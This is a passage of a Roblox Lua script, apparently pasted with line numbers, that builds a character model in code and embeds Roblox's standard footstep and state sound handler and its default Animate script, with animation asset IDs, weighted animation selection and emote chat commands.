  1244. local sound = Sounds[SFX.Died]
  1245.  
  1246. Util.Play(sound)
  1247.  
  1248. end;
  1249.  
  1250.  
  1251.  
  1252. [Enum.HumanoidStateType.RunningNoPhysics] = function()
  1253.  
  1254. stateUpdated(Enum.HumanoidStateType.Running)
  1255.  
  1256. end;
  1257.  
  1258.  
  1259.  
  1260. [Enum.HumanoidStateType.Running] = function()
  1261.  
  1262. local sound = Sounds[SFX.Running]
  1263.  
  1264. stopPlayingLoopedSoundsExcept(sound)
  1265.  
  1266.  
  1267.  
  1268. if Util.HorizontalSpeed(Head) > 0.5 then
  1269.  
  1270. Util.Resume(sound)
  1271.  
  1272. setSoundInPlayingLoopedSounds(sound)
  1273.  
  1274. else
  1275.  
  1276. stopPlayingLoopedSoundsExcept()
  1277.  
  1278. end
  1279.  
  1280. end;
  1281.  
  1282.  
  1283.  
  1284. [Enum.HumanoidStateType.Swimming] = function()
  1285.  
  1286. if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then
  1287.  
  1288. local splashSound = Sounds[SFX.Splash]
  1289.  
  1290. splashSound.Volume = Util.Clamp(
  1291.  
  1292. Util.YForLineGivenXAndTwoPts(
  1293.  
  1294. Util.VerticalSpeed(Head),
  1295.  
  1296. 100, 0.28,
  1297.  
  1298. 350, 1),
  1299.  
  1300. 0,1)
  1301.  
  1302. Util.Play(splashSound)
  1303.  
  1304. end
  1305.  
  1306.  
  1307.  
  1308. do
  1309.  
  1310. local sound = Sounds[SFX.Swimming]
  1311.  
  1312. stopPlayingLoopedSoundsExcept(sound)
  1313.  
  1314. Util.Resume(sound)
  1315.  
  1316. setSoundInPlayingLoopedSounds(sound)
  1317.  
  1318. end
  1319.  
  1320. end;
  1321.  
  1322.  
  1323.  
  1324. [Enum.HumanoidStateType.Climbing] = function()
  1325.  
  1326. local sound = Sounds[SFX.Climbing]
  1327.  
  1328. if Util.VerticalSpeed(Head) > 0.1 then
  1329.  
  1330. Util.Resume(sound)
  1331.  
  1332. stopPlayingLoopedSoundsExcept(sound)
  1333.  
  1334. else
  1335.  
  1336. stopPlayingLoopedSoundsExcept()
  1337.  
  1338. end
  1339.  
  1340. setSoundInPlayingLoopedSounds(sound)
  1341.  
  1342. end;
  1343.  
  1344.  
  1345.  
  1346. [Enum.HumanoidStateType.Jumping] = function()
  1347.  
  1348. if activeState == Enum.HumanoidStateType.Jumping then
  1349.  
  1350. return
  1351.  
  1352. end
  1353.  
  1354. stopPlayingLoopedSoundsExcept()
  1355.  
  1356. local sound = Sounds[SFX.Jumping]
  1357.  
  1358. Util.Play(sound)
  1359.  
  1360. end;
  1361.  
  1362.  
  1363.  
  1364. [Enum.HumanoidStateType.GettingUp] = function()
  1365.  
  1366. stopPlayingLoopedSoundsExcept()
  1367.  
  1368. local sound = Sounds[SFX.GettingUp]
  1369.  
  1370. Util.Play(sound)
  1371.  
  1372. end;
  1373.  
  1374.  
  1375.  
  1376. [Enum.HumanoidStateType.Freefall] = function()
  1377.  
  1378. if activeState == Enum.HumanoidStateType.Freefall then
  1379.  
  1380. return
  1381.  
  1382. end
  1383.  
  1384. local sound = Sounds[SFX.FreeFalling]
  1385.  
  1386. sound.Volume = 0
  1387.  
  1388. stopPlayingLoopedSoundsExcept()
  1389.  
  1390. end;
  1391.  
  1392.  
  1393.  
  1394. [Enum.HumanoidStateType.FallingDown] = function()
  1395.  
  1396. stopPlayingLoopedSoundsExcept()
  1397.  
  1398. end;
  1399.  
  1400.  
  1401.  
  1402. [Enum.HumanoidStateType.Landed] = function()
  1403.  
  1404. stopPlayingLoopedSoundsExcept()
  1405.  
  1406. if Util.VerticalSpeed(Head) > 75 then
  1407.  
  1408. local landingSound = Sounds[SFX.Landing]
  1409.  
  1410. landingSound.Volume = Util.Clamp(
  1411.  
  1412. Util.YForLineGivenXAndTwoPts(
  1413.  
  1414. Util.VerticalSpeed(Head),
  1415.  
  1416. 50, 0,
  1417.  
  1418. 100, 1),
  1419.  
  1420. 0,1)
  1421.  
  1422. Util.Play(landingSound)
  1423.  
  1424. end
  1425.  
  1426. end;
  1427.  
  1428.  
  1429.  
  1430. [Enum.HumanoidStateType.Seated] = function()
  1431.  
  1432. stopPlayingLoopedSoundsExcept()
  1433.  
  1434. end;
  1435.  
  1436. }
  1437.  
  1438.  
  1439.  
  1440. -- Handle state event fired or OnChange fired
  1441.  
  1442. function stateUpdated(state)
  1443.  
  1444. if stateUpdateHandler[state] ~= nil then
  1445.  
  1446. stateUpdateHandler[state]()
  1447.  
  1448. end
  1449.  
  1450. activeState = state
  1451.  
  1452. end
  1453.  
  1454.  
  1455.  
  1456. Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
  1457.  
  1458. Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end)
  1459.  
  1460. Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end)
  1461.  
  1462. Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end)
  1463.  
  1464. Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
  1465.  
  1466. Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
  1467.  
  1468. Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
  1469.  
  1470. Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
  1471.  
  1472.  
  1473.  
  1474. -- required for proper handling of Landed event
  1475.  
  1476. Humanoid.StateChanged:connect(function(old, new)
  1477.  
  1478. stateUpdated(new)
  1479.  
  1480. end)
  1481.  
  1482.  
  1483.  
  1484.  
  1485.  
  1486. function onUpdate(stepDeltaSeconds, tickSpeedSeconds)
  1487.  
  1488. local stepScale = stepDeltaSeconds / tickSpeedSeconds
  1489.  
  1490. do
  1491.  
  1492. local sound = Sounds[SFX.FreeFalling]
  1493.  
  1494. if activeState == Enum.HumanoidStateType.Freefall then
  1495.  
  1496. if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then
  1497.  
  1498. Util.Resume(sound)
  1499.  
  1500.  
  1501.  
  1502. --Volume takes 1.1 seconds to go from volume 0 to 1
  1503.  
  1504. local ANIMATION_LENGTH_SECONDS = 1.1
  1505.  
  1506.  
  1507.  
  1508. local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS
  1509.  
  1510. sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1)
  1511.  
  1512. else
  1513.  
  1514. sound.Volume = 0
  1515.  
  1516. end
  1517.  
  1518. else
  1519.  
  1520. Util.Pause(sound)
  1521.  
  1522. end
  1523.  
  1524. end
  1525.  
  1526.  
  1527.  
  1528. do
  1529.  
  1530. local sound = Sounds[SFX.Running]
  1531.  
  1532. if activeState == Enum.HumanoidStateType.Running then
  1533.  
  1534. if Util.HorizontalSpeed(Head) < 0.5 then
  1535.  
  1536. Util.Pause(sound)
  1537.  
  1538. end
  1539.  
  1540. end
  1541.  
  1542. end
  1543.  
  1544. end
  1545.  
  1546.  
  1547.  
  1548. local lastTick = tick()
  1549.  
  1550. local TICK_SPEED_SECONDS = 0.25
  1551.  
  1552. while true do
  1553.  
  1554. onUpdate(tick() - lastTick,TICK_SPEED_SECONDS)
  1555.  
  1556. lastTick = tick()
  1557.  
  1558. wait(TICK_SPEED_SECONDS)
  1559.  
  1560. end
  1561.  
  1562. end
  1563.  
  1564.  
  1565. end))
  1566. LocalScript118.Name = "Animate"
  1567. LocalScript118.Parent = Model5
  1568. table.insert(cors,sandbox(LocalScript118,function()
  1569. local Character = script.Parent
  1570. local Humanoid = Character:WaitForChild("Humanoid")
  1571. local pose = "Standing"
  1572.  
  1573. local currentAnim = ""
  1574. local currentAnimInstance = nil
  1575. local currentAnimTrack = nil
  1576. local currentAnimKeyframeHandler = nil
  1577. local currentAnimSpeed = 1.0
  1578.  
  1579. local runAnimTrack = nil
  1580. local runAnimKeyframeHandler = nil
  1581.  
  1582. local animTable = {}
  1583. local animNames = {
  1584. idle = {
  1585. { id = "http://www.roblox.com/asset/?id=507766666", weight = 1 },
  1586. { id = "http://www.roblox.com/asset/?id=507766951", weight = 1 },
  1587. { id = "http://www.roblox.com/asset/?id=507766388", weight = 9 }
  1588. },
  1589. walk = {
  1590. { id = "http://www.roblox.com/asset/?id=507777826", weight = 10 }
  1591. },
  1592. run = {
  1593. { id = "http://www.roblox.com/asset/?id=507767714", weight = 10 }
  1594. },
  1595. swim = {
  1596. { id = "http://www.roblox.com/asset/?id=507784897", weight = 10 }
  1597. },
  1598. swimidle = {
  1599. { id = "http://www.roblox.com/asset/?id=507785072", weight = 10 }
  1600. },
  1601. jump = {
  1602. { id = "http://www.roblox.com/asset/?id=507765000", weight = 10 }
  1603. },
  1604. fall = {
  1605. { id = "http://www.roblox.com/asset/?id=507767968", weight = 10 }
  1606. },
  1607. climb = {
  1608. { id = "http://www.roblox.com/asset/?id=507765644", weight = 10 }
  1609. },
  1610. sit = {
  1611. { id = "http://www.roblox.com/asset/?id=507768133", weight = 10 }
  1612. },
  1613. toolnone = {
  1614. { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
  1615. },
  1616. toolslash = {
  1617. { id = "http://www.roblox.com/asset/?id=522635514", weight = 10 }
  1618. },
  1619. toollunge = {
  1620. { id = "http://www.roblox.com/asset/?id=522638767", weight = 10 }
  1621. },
  1622. wave = {
  1623. { id = "http://www.roblox.com/asset/?id=507770239", weight = 10 }
  1624. },
  1625. point = {
  1626. { id = "http://www.roblox.com/asset/?id=507770453", weight = 10 }
  1627. },
  1628. dance = {
  1629. { id = "http://www.roblox.com/asset/?id=507771019", weight = 10 },
  1630. { id = "http://www.roblox.com/asset/?id=507771955", weight = 10 },
  1631. { id = "http://www.roblox.com/asset/?id=507772104", weight = 10 }
  1632. },
  1633. dance2 = {
  1634. { id = "http://www.roblox.com/asset/?id=507776043", weight = 10 },
  1635. { id = "http://www.roblox.com/asset/?id=507776720", weight = 10 },
  1636. { id = "http://www.roblox.com/asset/?id=507776879", weight = 10 }
  1637. },
  1638. dance3 = {
  1639. { id = "http://www.roblox.com/asset/?id=507777268", weight = 10 },
  1640. { id = "http://www.roblox.com/asset/?id=507777451", weight = 10 },
  1641. { id = "http://www.roblox.com/asset/?id=507777623", weight = 10 }
  1642. },
  1643. laugh = {
  1644. { id = "http://www.roblox.com/asset/?id=507770818", weight = 10 }
  1645. },
  1646. cheer = {
  1647. { id = "http://www.roblox.com/asset/?id=507770677", weight = 10 }
  1648. },
  1649. }
  1650.  
  1651. -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
  1652. local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
  1653.  
  1654. math.randomseed(tick())
  1655.  
  1656. function configureAnimationSet(name, fileList)
  1657. if (animTable[name] ~= nil) then
  1658. for _, connection in pairs(animTable[name].connections) do
  1659. connection:disconnect()
  1660. end
  1661. end
  1662. animTable[name] = {}
  1663. animTable[name].count = 0
  1664. animTable[name].totalWeight = 0
  1665. animTable[name].connections = {}
  1666.  
  1667. local allowCustomAnimations = true
  1668. local AllowDisableCustomAnimsUserFlag = false
  1669.  
  1670. local success, msg = pcall(function()
  1671. AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2")
  1672. end)
  1673.  
  1674. if (AllowDisableCustomAnimsUserFlag) then
  1675. allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations
  1676. end
  1677.  
  1678. -- check for config values
  1679. local config = script:FindFirstChild(name)
  1680. if (allowCustomAnimations and config ~= nil) then
  1681. table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
  1682. table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
  1683. local idx = 1
  1684. for _, childPart in pairs(config:GetChildren()) do
  1685. if (childPart:IsA("Animation")) then
  1686. table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
  1687. animTable[name][idx] = {}
  1688. animTable[name][idx].anim = childPart
  1689. local weightObject = childPart:FindFirstChild("Weight")
  1690. if (weightObject == nil) then
  1691. animTable[name][idx].weight = 1
  1692. else
  1693. animTable[name][idx].weight = weightObject.Value
  1694. end
  1695. animTable[name].count = animTable[name].count + 1
  1696. animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
  1697. idx = idx + 1
  1698. end
  1699. end
  1700. end
  1701.  
  1702. -- fallback to defaults
  1703. if (animTable[name].count <= 0) then
  1704. for idx, anim in pairs(fileList) do
  1705. animTable[name][idx] = {}
  1706. animTable[name][idx].anim = Instance.new("Animation")
  1707. animTable[name][idx].anim.Name = name
  1708. animTable[name][idx].anim.AnimationId = anim.id
  1709. animTable[name][idx].weight = anim.weight
  1710. animTable[name].count = animTable[name].count + 1
  1711. animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
  1712. -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
  1713. end
  1714. end
  1715. end
  1716.  
  1717. -- Setup animation objects
  1718. function scriptChildModified(child)
  1719. local fileList = animNames[child.Name]
  1720. if (fileList ~= nil) then
  1721. configureAnimationSet(child.Name, fileList)
  1722. end
  1723. end
  1724.  
  1725. script.ChildAdded:connect(scriptChildModified)
  1726. script.ChildRemoved:connect(scriptChildModified)
  1727.  
  1728.  
  1729. for name, fileList in pairs(animNames) do
  1730. configureAnimationSet(name, fileList)
  1731. end
  1732.  
  1733. -- ANIMATION
  1734.  
  1735. -- declarations
  1736. local toolAnim = "None"
  1737. local toolAnimTime = 0
  1738.  
  1739. local jumpAnimTime = 0
  1740. local jumpAnimDuration = 0.31
  1741.  
  1742. local toolTransitionTime = 0.1
  1743. local fallTransitionTime = 0.2
  1744.  
  1745. -- functions
  1746.  
  1747. function stopAllAnimations()
  1748. local oldAnim = currentAnim
  1749.  
  1750. -- return to idle if finishing an emote
  1751. if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
  1752. oldAnim = "idle"
  1753. end
  1754.  
  1755. currentAnim = ""
  1756. currentAnimInstance = nil
  1757. if (currentAnimKeyframeHandler ~= nil) then
  1758. currentAnimKeyframeHandler:disconnect()
  1759. end
  1760.  
  1761. if (currentAnimTrack ~= nil) then
  1762. currentAnimTrack:Stop()
  1763. currentAnimTrack:Destroy()
  1764. currentAnimTrack = nil
  1765. end
  1766.  
  1767. -- clean up walk if there is one
  1768. if (runAnimKeyframeHandler ~= nil) then
  1769. runAnimKeyframeHandler:disconnect()
  1770. end
  1771.  
  1772. if (runAnimTrack ~= nil) then
  1773. runAnimTrack:Stop()
  1774. runAnimTrack:Destroy()
  1775. runAnimTrack = nil
  1776. end
  1777.  
  1778. return oldAnim
  1779. end
  1780.  
  1781. function getHeightScale()
  1782. if Humanoid then
  1783. local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale")
  1784. if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
  1785. return bodyHeightScale.Value
  1786. end
  1787. end
  1788.  
  1789. return 1
  1790. end
  1791.  
  1792. local smallButNotZero = 0.0001
  1793. function setRunSpeed(speed)
  1794. if speed < 0.33 then
  1795. currentAnimTrack:AdjustWeight(1.0)
  1796. runAnimTrack:AdjustWeight(smallButNotZero)
  1797. elseif speed < 0.66 then
  1798. local weight = ((speed - 0.33) / 0.33)
  1799. currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
  1800. runAnimTrack:AdjustWeight(weight + smallButNotZero)
  1801. else
  1802. currentAnimTrack:AdjustWeight(smallButNotZero)
  1803. runAnimTrack:AdjustWeight(1.0)
  1804. end
  1805.  
  1806. local speedScaled = speed * 1.25
  1807.  
  1808. local heightScale = getHeightScale()
  1809.  
  1810. runAnimTrack:AdjustSpeed(speedScaled / heightScale)
  1811. currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
  1812. end
  1813.  
  1814.  
  1815. function setAnimationSpeed(speed)
  1816. if speed ~= currentAnimSpeed then
  1817. currentAnimSpeed = speed
  1818. if currentAnim == "walk" then
  1819. setRunSpeed(speed)
  1820. else
  1821. currentAnimTrack:AdjustSpeed(currentAnimSpeed)
  1822. end
  1823. end
  1824. end
  1825.  
  1826. function keyFrameReachedFunc(frameName)
  1827. if (frameName == "End") then
  1828. if currentAnim == "walk" then
  1829. runAnimTrack.TimePosition = 0.0
  1830. currentAnimTrack.TimePosition = 0.0
  1831. else
  1832. local repeatAnim = currentAnim
  1833. -- return to idle if finishing an emote
  1834. if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
  1835. repeatAnim = "idle"
  1836. end
  1837.  
  1838. local animSpeed = currentAnimSpeed
  1839. playAnimation(repeatAnim, 0.15, Humanoid)
  1840. setAnimationSpeed(animSpeed)
  1841. end
  1842. end
  1843. end
  1844.  
  1845. function rollAnimation(animName)
  1846. local roll = math.random(1, animTable[animName].totalWeight)
  1847. local origRoll = roll
  1848. local idx = 1
  1849. while (roll > animTable[animName][idx].weight) do
  1850. roll = roll - animTable[animName][idx].weight
  1851. idx = idx + 1
  1852. end
  1853. return idx
  1854. end
  1855.  
  1856. function playAnimation(animName, transitionTime, humanoid)
  1857. local idx = rollAnimation(animName)
  1858. local anim = animTable[animName][idx].anim
  1859.  
  1860. -- switch animation
  1861. if (anim ~= currentAnimInstance) then
  1862.  
  1863. if (currentAnimTrack ~= nil) then
  1864. currentAnimTrack:Stop(transitionTime)
  1865. currentAnimTrack:Destroy()
  1866. end
  1867.  
  1868. if (runAnimTrack ~= nil) then
  1869. runAnimTrack:Stop(transitionTime)
  1870. runAnimTrack:Destroy()
  1871. end
  1872.  
  1873. currentAnimSpeed = 1.0
  1874.  
  1875. -- load it to the humanoid; get AnimationTrack
  1876. currentAnimTrack = humanoid:LoadAnimation(anim)
  1877. currentAnimTrack.Priority = Enum.AnimationPriority.Core
  1878.  
  1879. -- play the animation
  1880. currentAnimTrack:Play(transitionTime)
  1881. currentAnim = animName
  1882. currentAnimInstance = anim
  1883.  
  1884. -- set up keyframe name triggers
  1885. if (currentAnimKeyframeHandler ~= nil) then
  1886. currentAnimKeyframeHandler:disconnect()
  1887. end
  1888. currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
  1889.  
  1890. -- check to see if we need to blend a walk/run animation
  1891. if animName == "walk" then
  1892. local runAnimName = "run"
  1893. local runIdx = rollAnimation(runAnimName)
  1894.  
  1895. runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
  1896. runAnimTrack.Priority = Enum.AnimationPriority.Core
  1897. runAnimTrack:Play(transitionTime)
  1898.  
  1899. if (runAnimKeyframeHandler ~= nil) then
  1900. runAnimKeyframeHandler:disconnect()
  1901. end
  1902. runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
  1903. end
  1904. end
  1905.  
  1906. end
  1907.  
  1908. -------------------------------------------------------------------------------------------
  1909. -------------------------------------------------------------------------------------------
  1910.  
  1911. local toolAnimName = ""
  1912. local toolAnimTrack = nil
  1913. local toolAnimInstance = nil
  1914. local currentToolAnimKeyframeHandler = nil
  1915.  
  1916. function toolKeyFrameReachedFunc(frameName)
  1917. if (frameName == "End") then
  1918. playToolAnimation(toolAnimName, 0.0, Humanoid)
  1919. end
  1920. end
  1921.  
  1922.  
  1923. function playToolAnimation(animName, transitionTime, humanoid, priority)
  1924. local idx = rollAnimation(animName)
  1925. local anim = animTable[animName][idx].anim
  1926.  
  1927. if (toolAnimInstance ~= anim) then
  1928.  
  1929. if (toolAnimTrack ~= nil) then
  1930. toolAnimTrack:Stop()
  1931. toolAnimTrack:Destroy()
  1932. transitionTime = 0
  1933. end
  1934.  
  1935. -- load it to the humanoid; get AnimationTrack
  1936. toolAnimTrack = humanoid:LoadAnimation(anim)
  1937. if priority then
  1938. toolAnimTrack.Priority = priority
  1939. end
  1940.  
  1941. -- play the animation
  1942. toolAnimTrack:Play(transitionTime)
  1943. toolAnimName = animName
  1944. toolAnimInstance = anim
  1945.  
  1946. currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
  1947. end
  1948. end
  1949.  
  1950. function stopToolAnimations()
  1951. local oldAnim = toolAnimName
  1952.  
  1953. if (currentToolAnimKeyframeHandler ~= nil) then
  1954. currentToolAnimKeyframeHandler:disconnect()
  1955. end
  1956.  
  1957. toolAnimName = ""
  1958. toolAnimInstance = nil
  1959. if (toolAnimTrack ~= nil) then
  1960. toolAnimTrack:Stop()
  1961. toolAnimTrack:Destroy()
  1962. toolAnimTrack = nil
  1963. end
  1964.  
  1965. return oldAnim
  1966. end
  1967.  
  1968. -------------------------------------------------------------------------------------------
  1969. -------------------------------------------------------------------------------------------
  1970. -- STATE CHANGE HANDLERS
  1971.  
  1972. function onRunning(speed)
  1973. if speed > 0.5 then
  1974. local scale = 16.0
  1975. playAnimation("walk", 0.2, Humanoid)
  1976. setAnimationSpeed(speed / scale)
  1977. pose = "Running"
  1978. else
  1979. if emoteNames[currentAnim] == nil then
  1980. playAnimation("idle", 0.2, Humanoid)
  1981. pose = "Standing"
  1982. end
  1983. end
  1984. end
  1985.  
  1986. function onDied()
  1987. pose = "Dead"
  1988. end
  1989.  
  1990. function onJumping()
  1991. playAnimation("jump", 0.1, Humanoid)
  1992. jumpAnimTime = jumpAnimDuration
  1993. pose = "Jumping"
  1994. end
  1995.  
  1996. function onClimbing(speed)
  1997. local scale = 5.0
  1998. playAnimation("climb", 0.1, Humanoid)
  1999. setAnimationSpeed(speed / scale)
  2000. pose = "Climbing"
  2001. end
  2002.  
  2003. function onGettingUp()
  2004. pose = "GettingUp"
  2005. end
  2006.  
  2007. function onFreeFall()
  2008. if (jumpAnimTime <= 0) then
  2009. playAnimation("fall", fallTransitionTime, Humanoid)
  2010. end
  2011. pose = "FreeFall"
  2012. end
  2013.  
  2014. function onFallingDown()
  2015. pose = "FallingDown"
  2016. end
  2017.  
  2018. function onSeated()
  2019. pose = "Seated"
  2020. end
  2021.  
  2022. function onPlatformStanding()
  2023. pose = "PlatformStanding"
  2024. end
  2025.  
  2026. -------------------------------------------------------------------------------------------
  2027. -------------------------------------------------------------------------------------------
  2028.  
  2029. function onSwimming(speed)
  2030. if speed > 1.00 then
  2031. local scale = 10.0
  2032. playAnimation("swim", 0.4, Humanoid)
  2033. setAnimationSpeed(speed / scale)
  2034. pose = "Swimming"
  2035. else
  2036. playAnimation("swimidle", 0.4, Humanoid)
  2037. pose = "Standing"
  2038. end
  2039. end
  2040.  
  2041. function animateTool()
  2042. if (toolAnim == "None") then
  2043. playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
  2044. return
  2045. end
  2046.  
  2047. if (toolAnim == "Slash") then
  2048. playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
  2049. return
  2050. end
  2051.  
  2052. if (toolAnim == "Lunge") then
  2053. playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
  2054. return
  2055. end
  2056. end
  2057.  
  2058. function getToolAnim(tool)
  2059. for _, c in ipairs(tool:GetChildren()) do
  2060. if c.Name == "toolanim" and c.className == "StringValue" then
  2061. return c
  2062. end
  2063. end
  2064. return nil
  2065. end
  2066.  
  2067. local lastTick = 0
  2068.  
  2069. function stepAnimate(currentTime)
  2070. local amplitude = 1
  2071. local frequency = 1
  2072. local deltaTime = currentTime - lastTick
  2073. lastTick = currentTime
  2074.  
  2075. local climbFudge = 0
  2076. local setAngles = false
  2077.  
  2078. if (jumpAnimTime > 0) then
  2079. jumpAnimTime = jumpAnimTime - deltaTime
  2080. end
  2081.  
  2082. if (pose == "FreeFall" and jumpAnimTime <= 0) then
  2083. playAnimation("fall", fallTransitionTime, Humanoid)
  2084. elseif (pose == "Seated") then
  2085. playAnimation("sit", 0.5, Humanoid)
  2086. return
  2087. elseif (pose == "Running") then
  2088. playAnimation("walk", 0.2, Humanoid)
  2089. elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
  2090. stopAllAnimations()
  2091. amplitude = 0.1
  2092. frequency = 1
  2093. setAngles = true
  2094. end
  2095.  
  2096. -- Tool Animation handling
  2097. local tool = Character:FindFirstChildOfClass("Tool")
  2098. if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then
  2099.  
  2100. local animStringValueObject = getToolAnim(tool)
  2101.  
  2102. if animStringValueObject then
  2103. toolAnim = animStringValueObject.Value
  2104. -- message recieved, delete StringValue
  2105. animStringValueObject.Parent = nil
  2106. toolAnimTime = currentTime + .3
  2107. end
  2108.  
  2109. if currentTime > toolAnimTime then
  2110. toolAnimTime = 0
  2111. toolAnim = "None"
  2112. end
  2113.  
  2114. animateTool()
  2115. else
  2116. stopToolAnimations()
  2117. toolAnim = "None"
  2118. toolAnimInstance = nil
  2119. toolAnimTime = 0
  2120. end
  2121. end
  2122.  
  2123. -- connect events
  2124. Humanoid.Died:connect(onDied)
  2125. Humanoid.Running:connect(onRunning)
  2126. Humanoid.Jumping:connect(onJumping)
  2127. Humanoid.Climbing:connect(onClimbing)
  2128. Humanoid.GettingUp:connect(onGettingUp)
  2129. Humanoid.FreeFalling:connect(onFreeFall)
  2130. Humanoid.FallingDown:connect(onFallingDown)
  2131. Humanoid.Seated:connect(onSeated)
  2132. Humanoid.PlatformStanding:connect(onPlatformStanding)
  2133. Humanoid.Swimming:connect(onSwimming)
  2134.  
  2135. -- setup emote chat hook
  2136. game:GetService("Players").LocalPlayer.Chatted:connect(function(msg)
  2137. local emote = ""
  2138. if (string.sub(msg, 1, 3) == "/e ") then
  2139. emote = string.sub(msg, 4)
  2140. elseif (string.sub(msg, 1, 7) == "/emote ") then
  2141. emote = string.sub(msg, 8)
  2142. end
  2143.  
  2144. if (pose == "Standing" and emoteNames[emote] ~= nil) then
  2145. playAnimation(emote, 0.1, Humanoid)
  2146. end
  2147. end)
  2148.  
  2149.  
  2150.  
  2151. -- initialize to idle
  2152. playAnimation("idle", 0.1, Humanoid)
  2153. pose = "Standing"
  2154.  
  2155. -- loop to handle timed state transitions and tool animations
  2156. while Character.Parent ~= nil do
  2157. local _, currentGameTime = wait(0.1)
  2158. stepAnimate(currentGameTime)
  2159. end
  2160.  
  2161.  
  2162. end))
  2163. StringValue119.Name = "cheer"
  2164. StringValue119.Parent = LocalScript118
  2165. Animation120.Name = "CheerAnim"
  2166. Animation120.Parent = StringValue119
  2167. Animation120.AnimationId = "http://www.roblox.com/asset/?id=507770677"
  2168. StringValue121.Name = "climb"
  2169. StringValue121.Parent = LocalScript118
  2170. Animation122.Name = "ClimbAnim"
  2171. Animation122.Parent = StringValue121
  2172. Animation122.AnimationId = "http://www.roblox.com/asset/?id=507765644"
  2173. StringValue123.Name = "dance"
  2174. StringValue123.Parent = LocalScript118
  2175. Animation124.Name = "Animation1"
  2176. Animation124.Parent = StringValue123
  2177. Animation124.AnimationId = "http://www.roblox.com/asset/?id=507771019"
  2178. NumberValue125.Name = "Weight"
  2179. NumberValue125.Parent = Animation124
  2180. NumberValue125.Value = 10
  2181. Animation126.Name = "Animation2"
  2182. Animation126.Parent = StringValue123
  2183. Animation126.AnimationId = "http://www.roblox.com/asset/?id=507771955"
  2184. NumberValue127.Name = "Weight"
  2185. NumberValue127.Parent = Animation126
  2186. NumberValue127.Value = 10
  2187. Animation128.Name = "Animation3"
  2188. Animation128.Parent = StringValue123
  2189. Animation128.AnimationId = "http://www.roblox.com/asset/?id=507772104"
  2190. NumberValue129.Name = "Weight"
  2191. NumberValue129.Parent = Animation128
  2192. NumberValue129.Value = 10
  2193. StringValue130.Name = "dance2"
  2194. StringValue130.Parent = LocalScript118
  2195. Animation131.Name = "Animation1"
  2196. Animation131.Parent = StringValue130
  2197. Animation131.AnimationId = "http://www.roblox.com/asset/?id=507776043"
  2198. NumberValue132.Name = "Weight"
  2199. NumberValue132.Parent = Animation131
  2200. NumberValue132.Value = 10
  2201. Animation133.Name = "Animation2"
  2202. Animation133.Parent = StringValue130
  2203. Animation133.AnimationId = "http://www.roblox.com/asset/?id=507776720"
  2204. NumberValue134.Name = "Weight"
  2205. NumberValue134.Parent = Animation133
  2206. NumberValue134.Value = 10
  2207. Animation135.Name = "Animation3"
  2208. Animation135.Parent = StringValue130
  2209. Animation135.AnimationId = "http://www.roblox.com/asset/?id=507776879"
  2210. NumberValue136.Name = "Weight"
  2211. NumberValue136.Parent = Animation135
  2212. NumberValue136.Value = 10
  2213. StringValue137.Name = "dance3"
  2214. StringValue137.Parent = LocalScript118
  2215. Animation138.Name = "Animation1"
  2216. Animation138.Parent = StringValue137
  2217. Animation138.AnimationId = "http://www.roblox.com/asset/?id=507777268"
  2218. NumberValue139.Name = "Weight"
  2219. NumberValue139.Parent = Animation138
  2220. NumberValue139.Value = 10
  2221. Animation140.Name = "Animation2"
  2222. Animation140.Parent = StringValue137
  2223. Animation140.AnimationId = "http://www.roblox.com/asset/?id=507777451"
  2224. NumberValue141.Name = "Weight"
  2225. NumberValue141.Parent = Animation140
  2226. NumberValue141.Value = 10
  2227. Animation142.Name = "Animation3"
  2228. Animation142.Parent = StringValue137
  2229. Animation142.AnimationId = "http://www.roblox.com/asset/?id=507777623"
  2230. NumberValue143.Name = "Weight"
  2231. NumberValue143.Parent = Animation142
  2232. NumberValue143.Value = 10
  2233. StringValue144.Name = "fall"
  2234. StringValue144.Parent = LocalScript118
  2235. Animation145.Name = "FallAnim"
